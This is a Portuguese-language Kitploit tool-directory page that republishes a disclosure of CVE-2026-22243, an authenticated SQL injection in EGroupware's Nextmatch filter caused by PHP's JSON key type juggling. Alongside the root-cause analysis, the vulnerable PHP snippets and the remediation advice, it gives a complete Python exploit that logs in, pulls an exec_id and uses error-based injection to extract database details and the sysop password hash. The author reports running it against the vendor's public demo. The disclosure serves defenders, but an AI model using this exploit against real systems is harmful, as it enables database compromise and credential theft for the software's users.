Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware tem SQL Injection no processamento do filtro Nextmatch | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-22243
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware tem SQL Injection no processamento do filtro Nextmatch

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22243: EGroupware tem Injeção de SQL no Processamento de Filtros Nextmatch

Visão Geral

CampoDetalhes
CVE IDCVE-2026-22243
GravidadeALTA
AvisoVer Aviso
Descoberto porLukasz Rybak

Produtos Afetados

  • egroupware/egroupware (versões: < 23.1.20260113)
  • egroupware/egroupware (versões: >= 26.0.20251208, < 26.0.20260113)

Classificação CWE

  • CWE-89: Neutralização incorreta de elementos especiais usados em um comando SQL ('Injeção de SQL')

Detalhes

Resumo

Injeção de SQL Autenticada Crítica no Processamento de Filtros do Widget Nextmatch

Existe uma vulnerabilidade crítica de Injeção de SQL nos componentes principais do EGroupware, especificamente no processamento de filtros do Nextmatch. A falha permite que atacantes autenticados injetem comandos SQL arbitrários na cláusula WHERE de consultas ao banco de dados. Isso é alcançado explorando um problema de type juggling do PHP, em que a decodificação JSON converte strings numéricas em inteiros, contornando a verificação de segurança is_int() usada pela aplicação.

Detalhes

Análise da Causa Raiz A vulnerabilidade existe na forma como a camada de abstração do banco de dados (Api\Db) e as classes de armazenamento de alto nível (Api\Storage\Base, infolog_so) processam o array col_filter usado nos widgets "Nextmatch".

A aplicação tenta validar a entrada usando is_int($key) para determinar se uma chave do array representa um fragmento SQL bruto que deve ser confiável. No entanto, ao processar requisições POST baseadas em JSON, o json_decode do PHP converte automaticamente chaves de string numéricas (ex.: "0") em inteiros nativos.

Consequentemente, um atacante pode enviar um payload JSON com um array associativo contendo chaves numéricas. A aplicação interpreta essas chaves como inteiros (is_int retorna true) e anexa cegamente os valores associados — contendo SQL malicioso — diretamente à consulta.

Locais do Código Vulneráveis

  1. Arquivo: sources/egroupware/api/src/Db.php (Aprox. Linha 1776) Método: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Arquivo: sources/egroupware/api/src/Storage/Base.php (Aprox. Linha 1134) Método: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

Verifiquei esta vulnerabilidade em uma instância Docker local e a confirmei (somente leitura) em sua instância de demonstração pública (demo.egroupware.net).

Script de Exploit Automatizado: O script a seguir automatiza o login, a extração do exec_id e a exfiltração de dados via Injeção de SQL Baseada em Erro.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D+)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D*)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Prova de Verificação em demo.egroupware.net:

Executei o script contra sua demonstração pública para confirmar a explorabilidade em um ambiente semelhante ao de produção (somente leitura). imagem

Impacto: Atacantes com acesso de privilégios baixos podem comprometer totalmente o banco de dados. Isso permite:

  • Perda de Confidencialidade: Leitura de dados sensíveis (ex.: hashes de senhas, tokens de sessão, detalhes pessoais de contato, segredos de configuração).
  • Perda de Integridade: Modificação ou exclusão de dados arbitrários dentro da aplicação.
  • Perda de Disponibilidade: Potencial para eliminar tabelas ou corromper dados.

Remediação

1. Validação de Entrada (Whitelisting) Não dependa apenas de is_int() para decisões de segurança ao lidar com entrada externa, especialmente dados JSON em que as chaves podem ser strings numéricas. Implemente uma whitelist (lista de permissões) estrita de nomes de colunas permitidos para filtragem nos widgets Nextmatch. Se a chave/coluna não estiver na whitelist, rejeite a requisição.

2. Vinculação de Parâmetros Garanta que todos os valores de filtro sejam vinculados como parâmetros (prepared statements) em vez de serem concatenados diretamente na string SQL.

3. Verificação Estrita de Tipos Ao processar entrada JSON, garanta que as chaves sejam estritamente verificadas em relação aos tipos esperados (ex.: usando === para comparação estrita ou filter_var) antes de serem usadas na lógica de geração de SQL.

Créditos

Relatado por Łukasz Rybak

Referências

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

Aviso Legal

Este CVE foi divulgado de forma responsável seguindo práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.

Baixar ferramenta